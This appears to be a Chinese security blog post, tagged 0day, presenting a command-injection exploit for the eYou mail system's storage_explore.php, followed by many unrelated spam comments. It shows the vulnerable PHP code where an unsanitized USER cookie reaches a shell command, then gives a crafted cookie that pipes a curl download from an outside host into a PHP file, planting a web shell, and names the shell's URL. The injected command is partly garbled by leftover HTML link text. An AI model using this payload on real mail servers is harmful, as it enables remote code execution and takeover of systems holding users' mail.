『河马』eyou Storage_explore.php Cookie命令注入漏洞利用工具


文件/user/storage_explort.php
<?php
/**
* 用户网络存储列表
*
* 该页面显示登录邮箱用户的网络存储文件列表,选择后添加到邮件的附件中。
*
* @author FengHui <fenghui@eyou.net>
* @copyright 2008 eYou.net
* @version storage_explore.php 2008/05/19
*/
require_once('/var/eyou/apache/htdocs/config.php');
require_once(PATH.'inc/function.php');
require_once(PATH.'inc/libeyou.php');
require_once(PATH.'inc/operate.php');

$skin               = getCookieUserValue('SKIN');
$uid                = getCookieUserValue('UID');
$domain             = getCookieUserValue('DOMAIN');
$user_dir_path      = getUserDirPath($uid, $domain);
$storage_index_path = $user_dir_path.'/storage/Index/';
$storage_data_path  = $user_dir_path.'/storage/Data/';
$userinfo = get_userinfo($uid , $domain);

// 获取用户允许上传的最大附件大小
$attachsize = (int)($userinfo['attachsize'][0]);

$is_submit = $_POST['is_submit'] ? true : false;
?>
跟进getCookieUserValue函数:

function getCookieUserValue($key) {
    $user_arr = explode('&', cookie('USER'));
    $n = count($user_arr);
    for ($i = 0; $i < $n; $i++) {
        $g_arr = explode('=', $user_arr[$i]);
        if ($g_arr[0] == $key) {
            return $g_arr[1];
        }
    }
    return null;
}

跟进cookie函数:
function cookie($name){
    if (array_key_exists($name, $_COOKIE)) return $_COOKIE[$name];
       return '';

整个过程没有对cookie 进行过滤

直接就取那个cookie中USER的值取出来,然后进入了getUserDirPath函数

来看看getUserDirPath函数:

/**
* 获取用户目录的路径
*
* @param string $uid
* @param string $domain
*/
function getUserDirPath($uid, $domain) {
    $cmd = "/var/eyou/sbin/hashid $uid $domain";
    echo $cmd;
    $path = `$cmd`;
    $path = trim($path);
    return $path;
}

uid和domain直接进入了命令,导致命令执行。



漏洞利用:

将cookie设置为:

USER=UID=1|curl isafe.cc" target="_blank">isafe.cc:8080/test.txt" target="_blank">http://www.isafe.cc" target="_blank">isafe.cc:8080/test.txt>>www.isafe.cc" target="_blank">isafe.cc.php
然后访问localhost/user/storage_explore.php
此时会在localhost/user/下生成www.isafe.cc" target="_blank">isafe.cc.php文件

shell地址为:

localhost/user/www.isafe.cc" target="_blank">isafe.cc.php
只允许会员下载 该文件只允许会员下载! 登录 | 注册

[本日志由 admin 于 2016-06-10 10:30 PM 编辑]
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags: 0day
评论: 167 | 引用: 0 | 查看次数: 14096
Richelle [2015-06-09 02:02 AM]
The new Lubbock county jail cover an area of nearly half-million square feet and is capable of confining 1,512 inmates.
Purists would take issue with slang, but it does become part of every language, albeit characteristic of each nationality. Bottomline - there will always be something you don't understand about your partner.

Have a look at my blog post: antonyms of abandum
Lavada [2015-06-09 00:26 AM]
It should be possible to determine within just a few days if commercial financing is feasible for a specific business need, and the entire funding process should be finalized in three weeks or less.
It is not only these exact words but the attitudes behind them that must be eliminated. Thank you for providing an environment to grow and shake off my feelings of insecurity or inadequacy.

my blog synonyms for Aberration constant
Sammie [2015-06-08 12:00 AM]
You've gotten great thing in this case.

My site ... toner
Lavern [2015-06-08 11:55 AM]
Many thanks, this site is extremely practical.

my website: business
Esmeralda [2015-06-08 00:06 AM]
Sometimes it takes using I statements when you are upset and completely vulnerable.
It is not only these exact words but the attitudes behind them that must be eliminated. Remember that your written communication is an introduction or a supplement to you.

My blog post ... synonyms for abaser
Cesar [2015-06-07 11:19 PM]
Sometimes it takes using I statements when you are upset and completely vulnerable.

You could spend a lifetime learning each of these values and incorporating these into your life and it would be well worth the effort. Site - Sell allows individuals to create their own website even if they do not have much knowledge in website creation.

Here is my site :: synonyms and antonyms for confidential
Sabina [2015-06-07 10:23 PM]
Whenever an irresistible force and an immovable object meet sparks can fly and ignite the passions within. They don't like it when a woman says, Let's talk, men freak out and get on the offensive before you even say a word.
Bottomline - there will always be something you don't understand about your partner.

Also visit my website synonyms for abdomens
Temeka [2015-06-07 10:07 PM]
The new Lubbock county jail cover an area of nearly half-million square feet and is capable of confining 1,512 inmates.

In brochure printing, it is important that you pay much attention to the key words or power words that you will be using to advertise your company, your business, and more importantly, your products and services. The people around us will be our containers; we look to them for understanding.



Have a look at my blog post - antonyms of abhal
Ivory [2015-06-07 12:49 AM]
The other term for fear of public speaking is Glosophobia.
It is not only these exact words but the attitudes behind them that must be eliminated. Scrabble experts, on the other hand, employ carefully researched strategies that have been tried and tested by others before.

Check out my web-site: synonyms for Abdominal
Sanford [2015-06-07 11:56 AM]
It's okay to stumble over your old words and old way of thinking as long as when you get back up you replace those footsteps with words that will take your life in a new direction. They don't like it when a woman says, Let's talk, men freak out and get on the offensive before you even say a word.
The people around us will be our containers; we look to them for understanding.

Also visit my web page; synonyms for abdominothoracic
发表评论
昵 称:
密 码: 游客发言不需要密码.
验证码: 验证码
内 容:
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.
字数限制 1000 字 | UBB代码 开启 | [img]标签 关闭